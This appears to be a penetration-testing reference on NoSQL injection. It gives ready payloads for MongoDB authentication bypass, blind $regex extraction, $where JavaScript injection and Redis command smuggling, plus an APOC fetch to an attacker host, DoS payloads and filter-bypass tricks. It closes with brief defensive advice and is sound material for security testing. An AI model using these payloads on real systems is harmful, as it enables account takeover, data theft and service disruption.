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2026-07-02 12:31:49 -04:00

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nosql-injection	NoSQL injection testing covering MongoDB operator injection, authentication bypass, blind extraction, GraphQL variable injection, and Redis/DynamoDB/Elasticsearch/Neo4j-specific attack surfaces

NoSQL Injection

NoSQL injection exploits the mismatch between how applications pass user input to database queries and how the database engine interprets that input. Unlike SQL injection, NoSQL injection frequently involves operator injection (e.g., MongoDB's $gt, $regex, $where) or structure injection (embedding JSON sub-documents). The attack surface is broad: MongoDB is the dominant target, but Redis, Elasticsearch, DynamoDB, Cassandra, CouchDB, and Neo4j each have distinct injection surfaces. GraphQL resolvers passing variables directly into a backing NoSQL filter are a frequent cross-cutting vector.

Attack Surface

Input shapes that reach query filters

JSON body parameters parsed straight into query objects
Form fields with bracket notation (field[$ne]=) coerced into operator objects by Express, PHP, and similar middleware
URL-encoded JSON in query strings, headers, and cookies
GraphQL variables passed directly into resolver-level NoSQL filters

Code patterns that enable injection

Raw filter dicts/objects from user input handed to find/findOne/aggregate
String concatenation into Cypher / CQL / Redis commands instead of the driver's parameterized form
ODM passthrough: Mongoose {strict: false}, Morphia raw where(), PyMongo find() with unsanitized JSON dicts (legacy eval() is fatal)
Server-side JavaScript surfaces: $where, $function, $accumulator, CouchDB _design views

Stores in scope MongoDB (primary), Redis, Elasticsearch, DynamoDB, Cassandra, CouchDB, Neo4j. Couchbase / DocumentDB / HBase / ScyllaDB / Memcached follow the same operator-injection or command-smuggling models — DocumentDB in particular accepts MongoDB payloads unchanged.

High-Value Targets

Login and authentication endpoints (username/password fields)
Search and filter APIs (catalog, user search, admin lookup)
Password reset and token lookup flows
Admin queries filtering by role, plan, or privilege fields
Endpoints accepting raw JSON objects as query parameters

Reconnaissance

Content-Type and Input Shape

Identify endpoints accepting application/json — these can receive operator objects directly
Identify endpoints accepting application/x-www-form-urlencoded — bracket notation username[$ne]=x maps to {username: {$ne: 'x'}} in many frameworks (Express body-parser, PHP)
Determine whether the backend uses Mongoose, native MongoDB driver, or a REST ODM wrapper

Error Fingerprinting

Send malformed JSON: {"username": {"$gt": ""}}
Send bracket notation in form data: username[$gt]=
Look for MongoDB error messages: MongoError, CastError, ValidationError
Stack traces revealing collection names, field names, driver version

Operator Probe

Test whether operators pass through to the database:

{"username": {"$gt": ""}, "password": {"$gt": ""}}

If authentication succeeds or response differs, operator injection is confirmed.

Key Vulnerabilities

MongoDB Authentication Bypass

The classic operator injection against login queries of the form db.users.findOne({username: input.username, password: input.password}):

JSON body injection:

{"username": {"$ne": null}, "password": {"$ne": null}}

Matches the first document where both fields are non-null — typically the first user/admin.

Form body (bracket notation):

username[$ne]=invalid&password[$ne]=invalid

Variations:

{"username": "admin", "password": {"$gt": ""}}
{"username": {"$regex": ".*"}, "password": {"$gt": ""}}
{"username": {"$in": ["admin", "administrator", "root"]}, "password": {"$gt": ""}}

Blind Data Extraction via `$regex`

When the query result is not directly reflected but observable (boolean response, redirect, timing), extract field values character by character using $regex:

{"username": "admin", "password": {"$regex": "^a"}}
{"username": "admin", "password": {"$regex": "^b"}}
...

Binary search the character space to minimize requests. Works on any string field (token, reset code, API key).

`$where` JavaScript Injection

If $where operator is enabled (disabled by default in MongoDB 7.0+; MongoDB 4.4–6.x deprecated it but left javascriptEnabled defaulting to true), inject arbitrary server-side JavaScript:

{"$where": "function(){return this.role == 'admin'}"}                          // direct filter — returns matching documents
{"$where": "function(){return this.username == 'admin' && sleep(2000)}"}       // timing oracle only — sleep() returns undefined (falsy), so no documents are returned; observe latency

sleep() is available in older MongoDB for blind extraction via response-time differential.

`$function` and `$accumulator` (MongoDB 4.4+)

Server-side JavaScript in aggregations. $function must live inside an expression context — $expr, $project, $addFields, etc. — not as a top-level filter:

{"$expr": {"$function": {"body": "function(doc){return doc.role == 'admin'}", "args": ["$$ROOT"], "lang": "js"}}}

Gated by the same javascriptEnabled parameter as $where, but reachable through aggregation endpoints — useful when $where is filtered at the query layer but aggregation pipelines remain user-influenceable.

Aggregation Pipeline Injection

$match, $lookup, and $project stages accept the same operator payloads as find(). User-controlled $lookup.from is the highest-impact variant — it can pivot the query to a different collection (e.g., from orders into users) and exfiltrate cross-tenant data.

Redis Command Injection

When Redis commands are constructed by string concatenation:

redis.execute_command(f"SET {user_key} {value}")

Inject newline characters (\r\n) to inject additional Redis commands (RESP protocol injection):

key\r\nSET backdoor attacker_controlled\r\nSET dummy

Elasticsearch Query String Injection

query_string and simple_query_string accept Lucene syntax. User input flowing directly:

q=normal+search            →   normal results
q=*                        →   all documents
q=role:admin               →   filter by field
q=_exists_:password_hash   →   existence probe

For Painless script injection via _update:

{"script": {"source": "ctx._source.role = params.r", "params": {"r": "admin"}}}

If the source field is user-controlled, inject arbitrary Painless.

DynamoDB FilterExpression Injection

PartiQL injection allows expansion of intended queries:

-- Intended:
SELECT * FROM Users WHERE username = 'input'

-- Injected:
SELECT * FROM Users WHERE username = 'x' OR '1'='1

Cassandra CQL Injection

CQL is SQL-shaped, so injection follows the SQL pattern when input is concatenated instead of bound via session.prepare():

username: ' OR '1'='1' ALLOW FILTERING --
username: 'x' OR token(username) > token('a') ALLOW FILTERING --

No SLEEP or OOB primitive natively — detection is boolean/error-based only.

CouchDB Mango and View Injection

Mango selectors on _find accept operator payloads in the same shape as MongoDB:

POST /db/_find  { "selector": {"username": "admin", "password": {"$gt": ""}} }
POST /db/_find  { "selector": {"role": {"$regex": "^admin"}} }

_design document injection — if user input flows into a design doc's views.<name>.map, the JavaScript runs server-side in the Couch sandbox on every view query:

{"views": {"x": {"map": "function(doc){ emit(doc._id, doc) }"}}}

Also probe _all_docs?include_docs=true for unscoped enumeration and check for admin-party misconfigurations (_users/_all_docs reachable without auth) before payload work.

Neo4j Cypher Injection

When user input is concatenated into Cypher rather than passed as a parameter ($param):

# Vulnerable
session.run(f"MATCH (u:User {{name: '{name}'}}) RETURN u")

# Injected: name = x'}) RETURN u UNION MATCH (u:User) RETURN u //

APOC abuse (when apoc.* procedures are enabled via dbms.security.procedures.unrestricted):

CALL apoc.load.json('http://attacker/x') — SSRF and external data fetch
CALL apoc.cypher.run("...", {}) — dynamic query execution from a string
CALL dbms.security.listUsers() — user enumeration on misconfigured Community Edition

GraphQL Variable Injection

Resolvers passing variables straight into a backing NoSQL filter are a common chained vector:

query Login($input: UserFilter!) {
  user(filter: $input) { id role }
}

With $input reaching db.users.findOne(input), send:

{"input": {"username": "admin", "password": {"$ne": ""}}}

Use introspection (__schema, __type) to enumerate which input types accept arbitrary objects — those are the operator-injection candidates.

Server-Side JavaScript Detection and DoS

Fingerprint SSJS state before investing in $where / $function payloads:

db.adminCommand({getParameter: 1, javascriptEnabled: 1})

DoS surface (use only with explicit authorization scope):

ReDoS: {"field": {"$regex": "^(a+)+$"}} against long values triggers catastrophic backtracking
Large $in arrays: thousands of values force linear scans on unindexed fields
Infinite $where loops: {"$where": "while(true){}"} if SSJS is enabled without query timeouts
Heavy aggregations: chained $lookup across large unindexed collections

Bypass Techniques

Type Coercion

Send operators as arrays: {"$gt": [""]} — some drivers coerce arrays
Mix string and object types in the same request to trigger parser branches

Encoding

URL-encode brackets: username%5B%24ne%5D=x → username[$ne]=x
Double-encode for WAFs sitting in front of JSON-parsing backends

Operator Alternatives

$nin (not in), $exists: false, $type — alternative operators that reach the same result when $ne is filtered
$not wrapping another operator: {"field": {"$not": {"$eq": "value"}}}
$expr with $ne for complex comparisons: {"$expr": {"$ne": ["$password", "wrong"]}}

Structure Manipulation

Dotted-key vs nested object: {"a.b": "c"} vs {"a": {"b": "c"}} — sanitizers often strip one form but pass the other
Array vs object operator wrapping: some parsers treat ["$or", ...] as operator arrays
Prototype pollution: __proto__ and constructor.prototype keys in JSON bodies polluting Object prototypes consumed downstream by query builders
$regex case-insensitive flag ("$options": "i") widens matches that case-sensitive filters miss

Testing Methodology

Identify query-receiving endpoints — login, search, filter, lookup
Determine input format — JSON body vs form fields vs URL params
Send error-probing payloads — malformed operator objects; watch for MongoDB/driver errors
Attempt operator injection — $ne, $gt, $regex against login endpoint
Confirm boolean oracle — response, status, redirect differs between true/false predicates
Extract data blindly — character-by-character $regex on sensitive fields (token, reset code)
Test $where — if older MongoDB version detected, attempt JavaScript sleep-based timing
Probe aggregation endpoints — inject operators into filter/match/sort fields
Test non-MongoDB stores — Elasticsearch query_string, Redis command construction, DynamoDB PartiQL, CouchDB Mango selectors, Neo4j Cypher concatenation, Cassandra CQL
Test GraphQL resolvers — submit operator objects via variables on any input type that reaches a NoSQL filter; use __schema introspection to enumerate candidates

Validation

Demonstrate authentication bypass: send operator payload, confirm login succeeds for any/first account
Extract a verifiable secret (password hash, reset token, API key) via $regex blind extraction
Show at least two distinct operator payloads working to rule out coincidence
Provide before/after: normal request returns 401, injected request returns 200
For $where: show timing differential with/without sleep()

False Positives

Framework-level query builder that casts input to string before constructing the query (Mongoose strict mode on)
Input sanitization stripping operator keys before they reach the driver
Endpoints that accept JSON but cast the password field to string — operator object becomes [object Object]
Response differences caused by validation errors, not actual operator execution

Impact

Authentication bypass granting access to arbitrary or all accounts
Full extraction of sensitive fields (tokens, hashed passwords, PII) via blind regex enumeration
Privilege escalation by querying admin/superuser records directly
Data exfiltration at scale via widened $ne/$regex/$gt filters
Server-side JavaScript execution via $where on unpatched MongoDB instances

Pro Tips

Always try both JSON body ({"field": {"$ne": null}}) and bracket-notation form (field[$ne]=) — different middleware handles them differently
Target reset token and API key fields with $regex extraction, not just passwords
Check MongoDB version via error messages or /admin/serverStatus; $where is active by default on pre-7.0 instances — that includes 4.4–6.x targets where javascriptEnabled was deprecated but not yet disabled, making them still exploitable unless explicitly hardened
For Elasticsearch, try _cat/indices, _mapping, and _search with query_string: * before attempting script injection
Combine authentication bypass with a second request to /admin or /api/users to escalate impact
Automate $regex extraction with binary search: 7 requests per character vs 94 with linear search
GraphQL resolvers are an underexplored entry point — try operator objects in any input type that reaches a NoSQL filter, and use introspection to find candidate fields

Summary

NoSQL injection exploits the same root cause as SQL injection — user input controlling query structure — but through operator embedding rather than syntax breaking. MongoDB is the primary target; enforce schema validation, use parameterized equivalents (strict mode, typed schemas), and never pass raw user input as a query object.

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